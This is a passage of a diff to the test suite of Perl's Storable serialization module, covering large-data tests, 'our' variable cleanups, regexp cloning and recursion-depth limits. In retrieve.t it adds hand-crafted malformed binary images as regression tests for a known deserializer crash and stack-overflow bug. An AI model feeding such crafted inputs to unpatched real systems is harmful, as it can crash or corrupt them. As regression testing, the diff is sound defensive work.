+ open my $cfh, "|-", "gzip"
+ or die "Cannot pipe to gzip: $!";
+ binmode $cfh;
+ $freeze->($cfh);
+ exit;
+ }
+ # parent
+ $stored = do { local $/; <$fh> };
+ close $fh;
+ }
+ else {
+ skip "$name: Cannot fork for freeze", 2;
+ }
+ ok($stored, "$name: we got output data")
+ or skip "$name: skipping thaw test", 1;
+
+ my ($tfh, $tname) = tempfile();
+
+ #my $tname = "$id.store.gz";
+ #open my $tfh, ">", $tname or die;
+ #binmode $tfh;
+
+ print $tfh $stored;
+ close $tfh;
+
+ if (defined(my $pid = open(my $fh, "-|"))) {
+ unless ($pid) {
+ # child
+ open my $bfh, "-|", "gunzip <$tname"
+ or die "Cannot pipe from gunzip: $!";
+ binmode $bfh;
+ $thaw->($bfh);
+ exit;
+ }
+ my $out = do { local $/; <$fh> };
+ chomp $out;
+ local $TODO = $todo_thaw;
+ is($out, "OK", "$name: check result");
+ }
+ else {
+ skip "$name: Cannot fork for thaw", 1;
+ }
+ }
+}
+
+
+sub make_2g_data {
+ my ($fh) = @_;
+ my @x;
+ my $y = 1;
+ my $z = 2;
+ my $g2 = 0x80000000;
+ $x[0] = \$y;
+ $x[$g2] = \$y;
+ $x[$g2+1] = \$z;
+ $x[$g2+2] = \$z;
+ store_fd(\@x, $fh);
+}
+
+sub check_2g_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g2 = 0x80000000;
+ $x->[0] == $x->[$g2]
+ or die "First entry mismatch";
+ $x->[$g2+1] == $x->[$g2+2]
+ or die "2G+ entry mismatch";
+ print "OK";
+}
+
+sub make_4g_data {
+ my ($fh) = @_;
+ my @x;
+ my $y = 1;
+ my $z = 2;
+ my $g4 = 2*0x80000000;
+ $x[0] = \$y;
+ $x[$g4] = \$y;
+ $x[$g4+1] = \$z;
+ $x[$g4+2] = \$z;
+ store_fd(\@x, $fh);
+}
+
+sub check_4g_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g4 = 2*0x80000000;
+ $x->[0] == $x->[$g4]
+ or die "First entry mismatch";
+ $x->[$g4+1] == $x->[$g4+2]
+ or die "4G+ entry mismatch";
+ ${$x->[$g4+1]} == 2
+ or die "Incorrect value in 4G+ entry";
+ print "OK";
+}
+
+sub make_hook_data {
+ my ($fh) = @_;
+ my @x;
+ my $y = HookLargeIds->new(101, { name => "one" });
+ my $z = HookLargeIds->new(201, { name => "two" });
+ my $g4 = 2*0x8000_0000;
+ $x[0] = $y;
+ $x[$g4] = $y;
+ $x[$g4+1] = $z;
+ $x[$g4+2] = $z;
+ store_fd(\@x, $fh);
+}
+
+sub check_hook_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g4 = 2*0x8000_0000;
+ my $y = $x->[$g4+1];
+ $y = $x->[$g4+1];
+ $y->id == 201
+ or die "Incorrect id in 4G+ object";
+ ref($y->data) eq 'HASH'
+ or die "data isn't a ref";
+ $y->data->{name} eq "two"
+ or die "data name not 'one'";
+ print "OK";
+}
+
+sub make_net_large_pv {
+ my ($fh) = @_;
+ my $x = "x"; # avoid constant folding making a 4G scalar
+ my $g4 = 2*0x80000000;
+ my $y = $x x ($g4 + 5);
+ nstore_fd(\$y, $fh);
+}
+
+sub check_net_large_pv {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g4 = 2*0x80000000;
+ ref $x && ref($x) eq "SCALAR"
+ or die "Not a scalar ref ", ref $x;
+
+ length($$x) == $g4+5
+ or die "Incorect length";
+ print "OK";
+}
+
+sub make_2g_hook_data {
+ my ($fh) = @_;
+
+ my $g2 = 0x80000000;
+ my $x = HookLargeData->new($g2);
+ store_fd($x, $fh);
+}
+
+sub check_2g_hook_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g2 = 0x80000000;
+ $x->size == $g2
+ or die "Size incorrect ", $x->size;
+ print "OK";
+}
+
+sub make_4g_hook_data {
+ my ($fh) = @_;
+
+ my $g2 = 0x80000000;
+ my $g4 = 2 * $g2;
+ my $x = HookLargeData->new($g4+1);
+ store_fd($x, $fh);
+}
+
+sub check_4g_hook_data {
+ my ($fh) = @_;
+ my $x = retrieve_fd($fh);
+ my $g2 = 0x80000000;
+ my $g4 = 2 * $g2;
+ $x->size == $g4+1
+ or die "Size incorrect ", $x->size;
+ print "OK";
+}
+
+sub find_exe {
+ my ($exe) = @_;
+
+ $exe .= $Config{_exe};
+ my @path = split /\Q$Config{path_sep}/, $ENV{PATH};
+ for my $dir (@path) {
+ my $abs = File::Spec->catfile($dir, $exe);
+ -x $abs
+ and return $abs;
+ }
+}
+
+package HookLargeIds;
+
+sub new {
+ my $class = shift;
+ my ($id, $data) = @_;
+ return bless { id => $id, data => $data }, $class;
+}
+
+sub STORABLE_freeze {
+ #print STDERR "freeze called\n";
+ #Devel::Peek::Dump($_[0]);
+
+ return $_[0]->id, $_[0]->data;
+}
+
+sub STORABLE_thaw {
+ my ($self, $cloning, $ser, $data) = @_;
+
+ #Devel::Peek::Dump(\@_);
+ #print STDERR "thaw called\n";
+ #Devel::Peek::Dump($self);
+ $self->{id} = $ser+0;
+ $self->{data} = $data;
+}
+
+sub id {
+ $_[0]{id};
+}
+
+sub data {
+ $_[0]{data};
+}
+
+package HookLargeData;
+
+sub new {
+ my ($class, $size) = @_;
+
+ return bless { size => $size }, $class;
+}
+
+sub STORABLE_freeze {
+ return "x" x $_[0]{size};
+}
+
+sub STORABLE_thaw {
+ my ($self, $cloning, $ser) = @_;
+
+ $self->{size} = length $ser;
+}
+
+sub size {
+ $_[0]{size};
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/interwork56.t b/gnu/usr.bin/perl/dist/Storable/t/interwork56.t
index fac8af9c5d0..239c8c1828e 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/interwork56.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/interwork56.t
@@ -30,7 +30,7 @@ use Storable qw(freeze thaw);
use strict;
use Test::More tests=>30;
-use vars qw(%tests);
+our (%tests);
{
local $/ = "\n\nend\n";
diff --git a/gnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t b/gnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t
index 818c4397f20..5423719e465 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/just_plain_nasty.t
@@ -35,6 +35,8 @@ BEGIN {
use Storable qw(freeze thaw);
+$Storable::flags = Storable::FLAGS_COMPAT;
+
#$Storable::DEBUGME = 1;
BEGIN {
plan tests => 34;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/leaks.t b/gnu/usr.bin/perl/dist/Storable/t/leaks.t
index 06360d63f38..eb151a153b1 100644
--- a/gnu/usr.bin/perl/dist/Storable/t/leaks.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/leaks.t
@@ -32,3 +32,18 @@ plan 'tests' => 1;
}
}
+{ # [cpan #97316]
+ package TestClass;
+
+ sub new {
+ my $class = shift;
+ return bless({}, $class);
+ }
+ sub STORABLE_freeze {
+ die;
+ }
+
+ package main;
+ my $obj = TestClass->new;
+ eval { freeze($obj); };
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/lock.t b/gnu/usr.bin/perl/dist/Storable/t/lock.t
index af9a9ff49f6..8c1fc576e44 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/lock.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/lock.t
@@ -33,14 +33,14 @@ plan(tests => 5);
# We're just ensuring things work, we're not validating locking.
#
-isnt(lock_store(\@a, 'store'), undef);
+isnt(lock_store(\@a, "store$$"), undef);
my $dumped = &dump(\@a);
isnt($dumped, undef);
-$root = lock_retrieve('store');
+$root = lock_retrieve("store$$");
is(ref $root, 'ARRAY');
is(scalar @a, scalar @$root);
is(&dump($root), $dumped);
-unlink 't/store';
+END { 1 while unlink "store$$" }
diff --git a/gnu/usr.bin/perl/dist/Storable/t/malice.t b/gnu/usr.bin/perl/dist/Storable/t/malice.t
index 867a0d75059..5888863d845 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/malice.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/malice.t
@@ -25,17 +25,15 @@ sub BEGIN {
}
use strict;
-use vars qw($file_magic_str $other_magic $network_magic $byteorder
- $major $minor $minor_write $fancy);
-$byteorder = $Config{byteorder};
+our $byteorder = $Config{byteorder};
-$file_magic_str = 'pst0';
-$other_magic = 7 + length $byteorder;
-$network_magic = 2;
-$major = 2;
-$minor = 10;
-$minor_write = $] >= 5.019 ? 10 : $] > 5.008 ? 9 : $] > 5.005_50 ? 8 : 4;
+our $file_magic_str = 'pst0';
+our $other_magic = 7 + length $byteorder;
+our $network_magic = 2;
+our $major = 2;
+our $minor = 11;
+our $minor_write = $] >= 5.019 ? 11 : $] > 5.008 ? 9 : $] > 5.005_50 ? 8 : 4;
use Test::More;
@@ -45,13 +43,13 @@ use Test::More;
# There are only 2 * 2 tests per byte in the parts of the header not present
# for network order, and 2 tests per byte on the 'pst0' "magic number" only
# present in files, but not in things store()ed to memory
-$fancy = ($] > 5.007 ? 2 : 0);
+our $fancy = ($] > 5.007 ? 2 : 0);
plan tests => 372 + length ($byteorder) * 4 + $fancy * 8;
use Storable qw (store retrieve freeze thaw nstore nfreeze);
require 'testlib.pl';
-use vars '$file';
+our $file;
# The chr 256 is a hack to force the hash to always have the utf8 keys flag
# set on 5.7.3 and later. Otherwise the test fails if run with -Mutf8 because
@@ -208,7 +206,7 @@ sub test_things {
$where = $file_magic + $network_magic;
}
- # Just the header and a tag 255. As 31 is currently the highest tag, this
+ # Just the header and a tag 255. As 33 is currently the highest tag, this
# is "unexpected"
$copy = substr ($contents, 0, $where) . chr 255;
@@ -228,7 +226,7 @@ sub test_things {
# local $Storable::DEBUGME = 1;
# This is the delayed croak
test_corrupt ($copy, $sub,
- "/^Storable binary image v$header->{major}.$minor6 contains data of type 255. This Storable is v$header->{major}.$minor and can only handle data types up to 31/",
+ "/^Storable binary image v$header->{major}.$minor6 contains data of type 255. This Storable is v$header->{major}.$minor and can only handle data types up to 33/",
"bogus tag, minor plus 4");
# And check again that this croak is not delayed:
{
diff --git a/gnu/usr.bin/perl/dist/Storable/t/overload.t b/gnu/usr.bin/perl/dist/Storable/t/overload.t
index bf1441bb67f..64c09e46e23 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/overload.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/overload.t
@@ -18,6 +18,8 @@ sub BEGIN {
use Storable qw(freeze thaw);
+$Storable::flags = Storable::FLAGS_COMPAT;
+
use Test::More tests => 19;
package OVERLOADED;
diff --git a/gnu/usr.bin/perl/dist/Storable/t/recurse.t b/gnu/usr.bin/perl/dist/Storable/t/recurse.t
index 930a2242ebc..fa8be0b3743 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/recurse.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/recurse.t
@@ -5,11 +5,11 @@
# You may redistribute only under the same terms as Perl 5, as specified
# in the README file that comes with the distribution.
#
+use Config;
sub BEGIN {
unshift @INC, 't';
unshift @INC, 't/compat' if $] < 5.006002;
- require Config; import Config;
if ($ENV{PERL_CORE} and $Config{'extensions'} !~ /\bStorable\b/) {
print "1..0 # Skip: Storable was not built\n";
exit 0;
@@ -17,7 +17,10 @@ sub BEGIN {
}
use Storable qw(freeze thaw dclone);
-use Test::More tests => 33;
+
+$Storable::flags = Storable::FLAGS_COMPAT;
+
+use Test::More tests => 38;
package OBJ_REAL;
@@ -28,23 +31,23 @@ use Storable qw(freeze thaw);
sub make { bless [], shift }
sub STORABLE_freeze {
- my $self = shift;
- my $cloning = shift;
- die "STORABLE_freeze" unless Storable::is_storing;
- return (freeze(\@x), $self);
+ my $self = shift;
+ my $cloning = shift;
+ die "STORABLE_freeze" unless Storable::is_storing;
+ return (freeze(\@x), $self);
}
sub STORABLE_thaw {
- my $self = shift;
- my $cloning = shift;
- my ($x, $obj) = @_;
- die "STORABLE_thaw #1" unless $obj eq $self;
- my $len = length $x;
- my $a = thaw $x;
- die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
- die "STORABLE_thaw #3" unless @$a == 2 && $a->[0] eq 'a' && $a->[1] == 1;
- @$self = @$a;
- die "STORABLE_thaw #4" unless Storable::is_retrieving;
+ my $self = shift;
+ my $cloning = shift;
+ my ($x, $obj) = @_;
+ die "STORABLE_thaw #1" unless $obj eq $self;
+ my $len = length $x;
+ my $a = thaw $x;
+ die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
+ die "STORABLE_thaw #3" unless @$a == 2 && $a->[0] eq 'a' && $a->[1] == 1;
+ @$self = @$a;
+ die "STORABLE_thaw #4" unless Storable::is_retrieving;
}
package OBJ_SYNC;
@@ -54,18 +57,18 @@ package OBJ_SYNC;
sub make { bless {}, shift }
sub STORABLE_freeze {
- my $self = shift;
- my ($cloning) = @_;
- return if $cloning;
- return ("", \@x, $self);
+ my $self = shift;
+ my ($cloning) = @_;
+ return if $cloning;
+ return ("", \@x, $self);
}
sub STORABLE_thaw {
- my $self = shift;
- my ($cloning, $undef, $a, $obj) = @_;
- die "STORABLE_thaw #1" unless $obj eq $self;
- die "STORABLE_thaw #2" unless ref $a eq 'ARRAY' || @$a != 2;
- $self->{ok} = $self;
+ my $self = shift;
+ my ($cloning, $undef, $a, $obj) = @_;
+ die "STORABLE_thaw #1" unless $obj eq $self;
+ die "STORABLE_thaw #2" unless ref $a eq 'ARRAY' || @$a != 2;
+ $self->{ok} = $self;
}
package OBJ_SYNC2;
@@ -73,30 +76,30 @@ package OBJ_SYNC2;
use Storable qw(dclone);
sub make {
- my $self = bless {}, shift;
- my ($ext) = @_;
- $self->{sync} = OBJ_SYNC->make;
- $self->{ext} = $ext;
- return $self;
+ my $self = bless {}, shift;
+ my ($ext) = @_;
+ $self->{sync} = OBJ_SYNC->make;
+ $self->{ext} = $ext;
+ return $self;
}
sub STORABLE_freeze {
- my $self = shift;
- my %copy = %$self;
- my $r = \%copy;
- my $t = dclone($r->{sync});
- return ("", [$t, $self->{ext}], $r, $self, $r->{ext});
+ my $self = shift;
+ my %copy = %$self;
+ my $r = \%copy;
+ my $t = dclone($r->{sync});
+ return ("", [$t, $self->{ext}], $r, $self, $r->{ext});
}
sub STORABLE_thaw {
- my $self = shift;
- my ($cloning, $undef, $a, $r, $obj, $ext) = @_;
- die "STORABLE_thaw #1" unless $obj eq $self;
- die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
- die "STORABLE_thaw #3" unless ref $r eq 'HASH';
- die "STORABLE_thaw #4" unless $a->[1] == $r->{ext};
- $self->{ok} = $self;
- ($self->{sync}, $self->{ext}) = @$a;
+ my $self = shift;
+ my ($cloning, $undef, $a, $r, $obj, $ext) = @_;
+ die "STORABLE_thaw #1" unless $obj eq $self;
+ die "STORABLE_thaw #2" unless ref $a eq 'ARRAY';
+ die "STORABLE_thaw #3" unless ref $r eq 'HASH';
+ die "STORABLE_thaw #4" unless $a->[1] == $r->{ext};
+ $self->{ok} = $self;
+ ($self->{sync}, $self->{ext}) = @$a;
}
package OBJ_REAL2;
@@ -110,19 +113,19 @@ $hook_called = 0;
sub make { bless [], shift }
sub STORABLE_freeze {
- my $self = shift;
- $hook_called++;
- return (freeze($self), $self) if ++$recursed < $MAX;
- return ("no", $self);
+ my $self = shift;
+ $hook_called++;
+ return (freeze($self), $self) if ++$recursed < $MAX;
+ return ("no", $self);
}
sub STORABLE_thaw {
- my $self = shift;
- my $cloning = shift;
- my ($x, $obj) = @_;
- die "STORABLE_thaw #1" unless $obj eq $self;
- $self->[0] = thaw($x) if $x ne "no";
- $recursed--;
+ my $self = shift;
+ my $cloning = shift;
+ my ($x, $obj) = @_;
+ die "STORABLE_thaw #1" unless $obj eq $self;
+ $self->[0] = thaw($x) if $x ne "no";
+ $recursed--;
}
package main;
@@ -183,32 +186,32 @@ is(Storable::is_retrieving, '');
package Foo;
sub new {
- my $class = shift;
- my $dat = shift;
- return bless {dat => $dat}, $class;
+ my $class = shift;
+ my $dat = shift;
+ return bless {dat => $dat}, $class;
}
package Bar;
sub new {
- my $class = shift;
- return bless {
- a => 'dummy',
- b => [
- Foo->new(1),
- Foo->new(2), # Second instance of a Foo
- ]
- }, $class;
+ my $class = shift;
+ return bless {
+ a => 'dummy',
+ b => [
+ Foo->new(1),
+ Foo->new(2), # Second instance of a Foo
+ ]
+ }, $class;
}
sub STORABLE_freeze {
- my($self,$clonning) = @_;
- return "$self->{a}", $self->{b};
+ my($self,$clonning) = @_;
+ return "$self->{a}", $self->{b};
}
sub STORABLE_thaw {
- my($self,$clonning,$dummy,$o) = @_;
- $self->{a} = $dummy;
- $self->{b} = $o;
+ my($self,$clonning,$dummy,$o) = @_;
+ $self->{a} = $dummy;
+ $self->{b} = $o;
}
package main;
@@ -230,83 +233,136 @@ is(ref($bar2->{b}[1]), 'Foo');
package CLASS_1;
sub make {
- my $self = bless {}, shift;
- return $self;
+ my $self = bless {}, shift;
+ return $self;
}
package CLASS_2;
sub make {
- my $self = bless {}, shift;
- my ($o) = @_;
- $self->{c1} = CLASS_1->make();
- $self->{o} = $o;
- $self->{c3} = bless CLASS_1->make(), "CLASS_3";
- $o->set_c2($self);
- return $self;
+ my $self = bless {}, shift;
+ my ($o) = @_;
+ $self->{c1} = CLASS_1->make();
+ $self->{o} = $o;
+ $self->{c3} = bless CLASS_1->make(), "CLASS_3";
+ $o->set_c2($self);
+ return $self;
}
sub STORABLE_freeze {
- my($self, $clonning) = @_;
- return "", $self->{c1}, $self->{c3}, $self->{o};
+ my($self, $clonning) = @_;
+ return "", $self->{c1}, $self->{c3}, $self->{o};
}
sub STORABLE_thaw {
- my($self, $clonning, $frozen, $c1, $c3, $o) = @_;
- main::is(ref $self, "CLASS_2");
- main::is(ref $c1, "CLASS_1");
- main::is(ref $c3, "CLASS_3");
- main::is(ref $o, "CLASS_OTHER");
- $self->{c1} = $c1;
- $self->{c3} = $c3;
+ my($self, $clonning, $frozen, $c1, $c3, $o) = @_;
+ main::is(ref $self, "CLASS_2");
+ main::is(ref $c1, "CLASS_1");
+ main::is(ref $c3, "CLASS_3");
+ main::is(ref $o, "CLASS_OTHER");
+ $self->{c1} = $c1;
+ $self->{c3} = $c3;
}
package CLASS_OTHER;
sub make {
- my $self = bless {}, shift;
- return $self;
+ my $self = bless {}, shift;
+ return $self;
}
sub set_c2 { $_[0]->{c2} = $_[1] }
#
# Is the reference count of the extra references returned from a
-# STORABLE_freeze hook correct? [ID 20020601.005]
+# STORABLE_freeze hook correct? [ID 20020601.005 (#9436)]
#
package Foo2;
sub new {
- my $self = bless {}, $_[0];
- $self->{freezed} = "$self";
- return $self;
+ my $self = bless {}, $_[0];
+ $self->{freezed} = "$self";
+ return $self;
}
sub DESTROY {
- my $self = shift;
- $::refcount_ok = 1 unless "$self" eq $self->{freezed};
+ my $self = shift;
+ $::refcount_ok = 1 unless "$self" eq $self->{freezed};
}
package Foo3;
sub new {
- bless {}, $_[0];
+ bless {}, $_[0];
}
sub STORABLE_freeze {
- my $obj = shift;
- return ("", $obj, Foo2->new);
+ my $obj = shift;
+ return ("", $obj, Foo2->new);
}
sub STORABLE_thaw { } # Not really used
package main;
-use vars qw($refcount_ok);
my $o = CLASS_OTHER->make();
my $c2 = CLASS_2->make($o);
my $so = thaw freeze $o;
-$refcount_ok = 0;
+our $refcount_ok = 0;
thaw freeze(Foo3->new);
-is($refcount_ok, 1);
+is($refcount_ok, 1, "check refcount");
+
+# Check stack overflows [cpan #97526]
+# JSON::XS limits this to 512.
+# Small 64bit systems fail with 1200 (c++ debugging), with gcc 3000.
+# Optimized 64bit allows up to 33.000 recursion depth.
+# with asan the limit is 255 though.
+sub MAX_DEPTH () { Storable::stack_depth() }
+sub MAX_DEPTH_HASH () { Storable::stack_depth_hash() }
+sub OVERFLOW () { 35000 }
+{
+ my $t;
+ print "# max depth ", MAX_DEPTH, "\n";
+ $t = [$t] for 1 .. MAX_DEPTH;
+ dclone $t;
+ pass "can nest ".MAX_DEPTH." array refs";
+}
+{
+ my $t;
+ $t = {1=>$t} for 1 .. MAX_DEPTH_HASH-10;
+ dclone $t;
+ pass "can nest ".(MAX_DEPTH_HASH)." hash refs";
+}
+{
+ my (@t);
+ push @t, [{}] for 1..5000;
+ #diag 'trying simple array[5000] stack overflow, no recursion';
+ dclone \@t;
+ is $@, '', 'No simple array[5000] stack overflow #257';
+}
+
+eval {
+ my $t;
+ $t = [$t] for 1 .. MAX_DEPTH*2;
+ note 'trying catching recursive aref stack overflow';
+ dclone $t;
+};
+like $@, qr/Max\. recursion depth with nested structures exceeded/,
+ 'Caught aref stack overflow '.MAX_DEPTH*2;
+
+if ($ENV{APPVEYOR} and length(pack "p", "") >= 8) {
+ # TODO: need to repro this fail on a small machine.
+ ok(1, "skip dclone of big hash");
+}
+else {
+ eval {
+ my $t;
+ # 35.000 will cause appveyor 64bit windows to fail earlier
+ $t = {1=>$t} for 1 .. MAX_DEPTH * 2;
+ note 'trying catching recursive href stack overflow';
+ dclone $t;
+ };
+ like $@, qr/Max\. recursion depth with nested structures exceeded/,
+ 'Caught href stack overflow '.MAX_DEPTH*2;
+}
diff --git a/gnu/usr.bin/perl/dist/Storable/t/regexp.t b/gnu/usr.bin/perl/dist/Storable/t/regexp.t
new file mode 100644
index 00000000000..acf28cfec66
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Storable/t/regexp.t
@@ -0,0 +1,127 @@
+#!perl -w
+use strict;
+use Storable "dclone";
+use Test::More;
+
+my $version = int(($]-5)*1000);
+
+$version >= 8
+ or plan skip_all => "regexps not supported before 5.8";
+
+my @tests;
+while (<DATA>) {
+ chomp;
+ next if /^\s*#/ || !/\S/;
+ my ($range, $code, $match, $name) = split /\s*;\s*/;
+ defined $name or die "Bad test line";
+ my $ascii_only = $range =~ s/A//;
+ next if $ascii_only and ord("A") != 65;
+ if ($range =~ /^(\d+)-$/) {
+ next if $version < $1
+ }
+ elsif ($range =~ /^-(\d+)$/) {
+ next if $version > $1
+ }
+ elsif ($range =~ /^(\d+)-(\d+)$/) {
+ next if $version < $1 || $version > $2;
+ }
+ elsif ($range ne "-") {
+ die "Invalid version range $range for $name";
+ }
+ my @match = split /\s*,\s*/, $match;
+ for my $m (@match) {
+ my $not = $m =~ s/^!//;
+ my $cmatch = eval $m;
+ die if $@;
+ push @tests, [ $code, $not, $cmatch, $m, $name ];
+ }
+}
+
+plan tests => 9 + 3*scalar(@tests);
+
+SKIP:
+{
+ $version >= 14 && $version < 20
+ or skip "p introduced in 5.14, pointless from 5.20", 4;
+ my $q1 = eval "qr/b/p";
+ my $q2 = eval "qr/b/";
+ my $c1 = dclone($q1);
+ my $c2 = dclone($q2);
+ ok("abc" =~ $c1, "abc matches $c1");
+ is(${^PREMATCH}, "a", "check p worked");
+ ok("cba" =~ $c2, "cba matches $c2");
+ isnt(${^PREMATCH}, "c", "check no p worked");
+}
+
+SKIP:
+{
+ $version >= 24
+ or skip "n introduced in 5.22", 4;
+ my $c1 = dclone(eval "qr/(\\w)/");
+ my $c2 = dclone(eval "qr/(\\w)/n");
+ ok("a" =~ $c1, "a matches $c1");
+ is($1, "a", "check capturing preserved");
+ ok("b" =~ $c2, "b matches $c2");
+ isnt($1, "b", "check non-capturing preserved");
+}
+
+SKIP:
+{
+ $version >= 8
+ or skip "Cannot retrieve before 5.8", 1;
+ my $x;
+ my $re = qr/a(?{ $x = 1 })/;
+ use re 'eval';
+ ok(!eval { dclone($re) }, "should fail to clone, even with use re 'eval'");
+}
+
+for my $test (@tests) {
+ my ($code, $not, $match, $matchc, $name) = @$test;
+ my $qr = eval $code;
+ die "Could not compile $code: $@" if $@;
+ if ($not) {
+ unlike($match, $qr, "$name: pre(not) match $matchc");
+ }
+ else {
+ like($match, $qr, "$name: prematch $matchc");
+ }
+ my $qr2 = dclone($qr);
+ if ($not) {
+ unlike($match, $qr2, "$name: (not) match $matchc");
+ }
+ else {
+ like($match, $qr2, "$name: match $matchc");
+ }
+
+ # this is unlikely to be a problem, but make sure regexps are frozen sanely
+ # as part of a data structure
+ my $a2 = dclone([ $qr ]);
+ if ($not) {
+ unlike($match, $a2->[0], "$name: (not) match $matchc (array)");
+ }
+ else {
+ like($match, $a2->[0], "$name: match $matchc (array)");
+ }
+}
+
+__DATA__
+# semi-colon separated:
+# perl version range; regexp qr; match string; name
+# - version range is PERL_VERSION, ie 22 for 5.22 as from-to with both from
+# and to optional (so "-" is all versions.
+# - match string is , separated match strings
+# - if a match string starts with ! it mustn't match, otherwise it must
+# spaces around the commas ignored.
+# The initial "!" is stripped and the remainder treated as perl code to define
+# the string to (not) be matched
+-; qr/foo/ ; "foo",!"fob" ; simple
+-; qr/foo/i ; "foo","FOO",!"fob" ; simple case insensitive
+-; qr/f o o/x ; "foo", !"f o o" ; /x
+-; qr(a/b) ; "a/b" ; alt quotes
+A-; qr(\x2E) ; ".", !"a" ; \x2E - hex meta
+-; qr/\./ ; "." , !"a" ; \. - backslash meta
+8- ; qr/\x{100}/ ; "\x{100}" ; simple unicode
+12- ; qr/fss/i ; "f\xDF\x{101}" ; case insensive unicode promoted
+22-; qr/fss/ui ; "f\xDF" ; case insensitive unicode SS /iu
+22-; qr/fss/aai ; !"f\xDF" ; case insensitive unicode SS /iaa
+22-; qr/f\w/a ; "fo", !"f\xff" ; simple /a flag
diff --git a/gnu/usr.bin/perl/dist/Storable/t/restrict.t b/gnu/usr.bin/perl/dist/Storable/t/restrict.t
index a8a9d81495c..41f7aad14c2 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/restrict.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/restrict.t
@@ -36,7 +36,9 @@ sub BEGIN {
use Storable qw(dclone freeze thaw);
use Hash::Util qw(lock_hash unlock_value lock_keys);
-use Test::More tests => 304;
+use Config;
+$Storable::DEBUGME = $ENV{STORABLE_DEBUGME};
+use Test::More tests => (!$Storable::DEBUGME && $Config{usecperl} ? 105 : 304);
my %hash = (question => '?', answer => 42, extra => 'junk', undef => undef);
lock_hash %hash;
@@ -120,7 +122,10 @@ for $Storable::canonical (0, 1) {
}
# [perl #73972]
-{
+# broken again with cperl PERL_PERTURB_KEYS_TOP.
+SKIP: {
+ skip "TODO restricted Storable hashes broken with PERL_PERTURB_KEYS_TOP", 1
+ if !$Storable::DEBUGME && $Config{usecperl};
for my $n (1..100) {
my @keys = map { "FOO$_" } (1..$n);
diff --git a/gnu/usr.bin/perl/dist/Storable/t/retrieve.t b/gnu/usr.bin/perl/dist/Storable/t/retrieve.t
index fd8335d107a..04127728906 100755
--- a/gnu/usr.bin/perl/dist/Storable/t/retrieve.t
+++ b/gnu/usr.bin/perl/dist/Storable/t/retrieve.t
@@ -1,12 +1,14 @@
#!./perl
#
# Copyright (c) 1995-2000, Raphael Manfredi
+# Copyright (c) 2017, cPanel Inc
#
# You may redistribute only under the same terms as Perl 5, as specified
# in the README file that comes with the distribution.
#
sub BEGIN {
+ unshift @INC, 'dist/Storable/t' if $ENV{PERL_CORE} and -d 'dist/Storable/t';
unshift @INC, 't';
unshift @INC, 't/compat' if $] < 5.006002;
require Config; import Config;
@@ -19,7 +21,7 @@ sub BEGIN {
use Storable qw(store retrieve nstore);
-use Test::More tests => 14;
+use Test::More tests => 20;
$a = 'toto';
$b = \$a;
@@ -29,13 +31,13 @@ $c->{attribute} = 'attrval';
@a = ('first', '', undef, 3, -4, -3.14159, 456, 4.5,
$b, \$a, $a, $c, \$c, \%a);
-isnt(store(\@a, 'store'), undef);
+isnt(store(\@a, "store$$"), undef);
is(Storable::last_op_in_netorder(), '');
isnt(nstore(\@a, 'nstore'), undef);
is(Storable::last_op_in_netorder(), 1);
is(Storable::last_op_in_netorder(), 1);
-$root = retrieve('store');
+$root = retrieve("store$$");
isnt($root, undef);
is(Storable::last_op_in_netorder(), '');
@@ -54,4 +56,37 @@ is($d1, $d2);
isnt($root->[1], undef);
is(length $root->[1], 0);
-END { 1 while unlink('store', 'nstore') }
+# $Storable::DEBUGME = 1;
+{
+ # len>I32: todo patch the storable image number into the strings, fake 2.10
+ # $Storable::BIN_MINOR
+ my $retrieve_blessed = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x11\xff\x49\x6e\x74\xff\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00";
+ my $x = eval { Storable::mretrieve($retrieve_blessed); };
+ # Long integer or Double size or Byte order is not compatible
+ like($@, qr/^(Corrupted classname length|.* is not compatible|panic: malloc)/, "RT #130635 $@");
+ is($x, undef, 'and undef result');
+}
+
+{
+ # len>I32
+ my $retrieve_hook = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x13\x04\x49\xfe\xf4\xff\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00";
+ my $x = eval { Storable::mretrieve($retrieve_hook); };
+ like($@, qr/^(Corrupted classname length|.* is not compatible|panic: malloc)/, "$@");
+ is($x, undef, 'and undef result');
+}
+
+SKIP:
+{
+ # this can allocate a lot of memory, only do that if the testers tells us we can
+ # the test allocates 2GB, but other memory is allocated too, so we want
+ # at least 3
+ $ENV{PERL_TEST_MEMORY} && $ENV{PERL_TEST_MEMORY} >= 3
+ or skip "over 2GB memory needed for this test", 2;
+ # len<I32, len>127: stack overflow
+ my $retrieve_hook = "\x04\x0a\x08\x31\x32\x33\x34\x35\x36\x37\x38\x04\x08\x08\x08\x13\x04\x49\xfe\xf4\x7f\x72\x6e\x61\x6c\x73\x02\x00\x00\x00\x00";
+ my $x = eval { Storable::mretrieve($retrieve_hook); };
